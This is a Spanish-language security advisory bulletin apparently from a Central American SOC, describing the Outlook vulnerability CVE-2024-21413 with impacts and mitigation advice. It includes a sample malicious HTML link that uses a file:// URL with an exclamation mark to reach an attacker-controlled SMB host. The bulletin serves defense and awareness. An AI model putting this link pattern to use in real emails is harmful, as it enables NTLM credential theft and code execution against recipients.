

CYBER **SECURITY** **NEWS**

SECURITY OPERATIONS CENTER

OUTLOOK EN RIESGO: FALLA CRÍTICA PERMITE EJECUCIÓN REMOTA DE CÓDIGO

07 / 02 / 2025

CONTENIDO

INTRODUCCIÓN.....	3
RESUMEN	5
NOTICIA COMPLETA	7
CONTACTOS DE SOPORTE	8

INTRODUCCIÓN

La reciente identificación de una vulnerabilidad en Microsoft Outlook ha generado preocupación en el ámbito de la ciberseguridad, ya que permite la ejecución remota de código sin requerir interacción del usuario. Este tipo de fallos son especialmente peligrosos porque facilitan ataques sofisticados que pueden comprometer la integridad de sistemas y redes empresariales. Más allá del riesgo inmediato, este incidente evidencia la necesidad de fortalecer las estrategias de seguridad, priorizando medidas que reduzcan la exposición a amenazas avanzadas y minimicen el impacto de futuras vulnerabilidades en herramientas ampliamente utilizadas.

OUTLOOK EN RIESGO: FALLA CRÍTICA PERMITE EJECUCIÓN REMOTA DE CÓDIGO

A continuación, se encuentra en cuadro de identificación de la amenaza.

ID de alerta:	DSOC-CERT_2025_02_07_1
Clasificación de alerta:	Noticia
Tipo de Impacto:	Alta
TLP (Clasificación de información):	CLEAR
Fecha de publicación:	07/02/2025
Es día cero (0 day):	No

RESUMEN

Recientemente, se ha descubierto una falla crítica en Microsoft Outlook que está siendo activamente explotada por atacantes. Esta vulnerabilidad permite la ejecución remota de código (RCE), lo que significa que un ciberdelincuente puede tomar control de un sistema sin necesidad de que el usuario abra o interactúe con un correo malicioso.

Dado que Outlook es ampliamente utilizado por empresas y usuarios para la gestión de correos electrónicos, esta vulnerabilidad representa un riesgo significativo. Microsoft ha confirmado la explotación activa de esta falla, por lo que se recomienda tomar medidas inmediatas para mitigar el impacto.

¿Qué pasó?

Investigadores en ciberseguridad han identificado una vulnerabilidad en Microsoft Outlook que permite la ejecución remota de código sin requerir interacción del usuario. Microsoft ha reconocido el problema y ha advertido que atacantes ya están explotando esta falla.

Esta vulnerabilidad es particularmente grave porque afecta a una de las herramientas de comunicación más utilizadas en el mundo, lo que amplía la superficie de ataque y aumenta la posibilidad de que organizaciones enteras sean comprometidas. Además, se ha identificado que [CVE-2024-21413](#) afecta a varios productos de Office, incluidos Microsoft Office LTSC 2021, Microsoft 365 Apps for Enterprise, Microsoft Outlook 2016 y Microsoft Office 2019. Los ataques exitosos pueden resultar en el robo de credenciales NTLM y la ejecución de código arbitrario a través de documentos de Office maliciosos.

¿Cómo sucede el ataque?

El exploit aprovecha cómo Outlook procesa ciertos elementos dentro de los correos electrónicos. Un atacante puede diseñar un mensaje específico que, al ser procesado por el cliente de correo, activa la vulnerabilidad sin necesidad de que el usuario haga clic o interactúe con el contenido. Esto diferencia este ataque de otros tradicionales, como el phishing, que requieren la acción de la víctima.

Esta falla de seguridad permite a los atacantes esquivar las protecciones integradas de Outlook, habilitando la ejecución de enlaces maliciosos. Utilizando el protocolo `file://` y **agregando un signo de exclamación** en las URL que apuntan a servidores controlados por el atacante.



```
*<a href="file:///\\10.10.111.111\\test\\test.rtf!something">CLICK ME</a>*
```

La ejecución remota de código (RCE) se produce cuando el atacante ejecuta comandos en el sistema vulnerable de la víctima sin necesidad de autorización o interacción. En este caso, el correo malicioso se procesa automáticamente, lo que permite que el código se ejecute en el sistema sin intervención del usuario. El atacante explota una debilidad en cómo Outlook interpreta ciertos datos dentro del correo, lo que le permite ejecutar comandos con los mismos privilegios del usuario afectado, facilitando la instalación de malware, el robo de datos o el acceso no autorizado.

¿Cuáles son las consecuencias?

- **Compromiso del sistema:** Un atacante puede ejecutar comandos en la máquina afectada, permitiéndole instalar malware, modificar archivos o crear puertas traseras para acceso futuro.
- **Robo de credenciales:** La explotación de esta falla puede permitir a los atacantes extraer datos sensibles, como credenciales almacenadas o información financiera.
- **Movimientos laterales en redes empresariales:** Una vez comprometido un equipo, el atacante puede extender su acceso a otros sistemas dentro de la red, aumentando el alcance del ataque.
- **Posibles ataques de ransomware:** La ejecución remota de código puede ser utilizada para desplegar ransomware y cifrar archivos, bloqueando el acceso a información crítica hasta que se pague un rescate.

Lección aprendida

Esta vulnerabilidad en Microsoft Outlook deja en evidencia la importancia de mantener un enfoque proactivo en la ciberseguridad. La explotación de fallas sin necesidad de interacción del usuario demuestra que confiar únicamente en la prudencia de los empleados no es suficiente para evitar ataques. Es fundamental adoptar estrategias de defensa en profundidad. Además, refuerza la necesidad de que las organizaciones implementen políticas de seguridad que reduzcan la exposición a amenazas emergentes y minimicen el impacto de posibles ataques.

Recomendaciones

1. **Aplicar actualizaciones de seguridad:** Microsoft ha lanzado [parches de seguridad](#) para abordar esta vulnerabilidad. Se recomienda actualizar Outlook y otros productos de Microsoft lo antes posible para evitar la explotación activa de la falla.
2. **Configurar reglas de filtrado en correos electrónicos:** Las organizaciones pueden implementar reglas en sus servidores de correo para bloquear o filtrar mensajes sospechosos que contengan elementos potencialmente maliciosos.
3. **Restringir la ejecución de código en entornos vulnerables:** Se pueden aplicar controles de ejecución de código restringida, como reglas en Microsoft Defender o políticas de grupo, para evitar que procesos maliciosos se ejecuten automáticamente.
4. **Monitorear y analizar tráfico sospechoso:** El monitoreo de actividad inusual en los dispositivos y la red puede ayudar a identificar intentos de explotación. Se recomienda el uso de herramientas de detección de amenazas para analizar comportamientos anómalos.
5. **Educar a los usuarios sobre ciberseguridad:** Capacitar a los empleados en buenas prácticas de seguridad, como la identificación de correos sospechosos y el uso de herramientas seguras, puede reducir el impacto de este tipo de ataques.

NOTICIA COMPLETA

<https://devel.group/blog/outlook-en-riesgo-falla-critica-permite-ejecucion-remota-de-codigo/>

CONTACTOS DE SOPORTE



Correo electrónico: info@develsecurity.com

Teléfonos directos:

Guatemala: +(502) 2307 5757

El Salvador: +(503) 2249 4252

Honduras: +(504) 2283 5904

República Dominicana: +1 829 734 2040

WhatsApp: +(502) 5124 9536

Sitio Web: <https://www.devel.group/>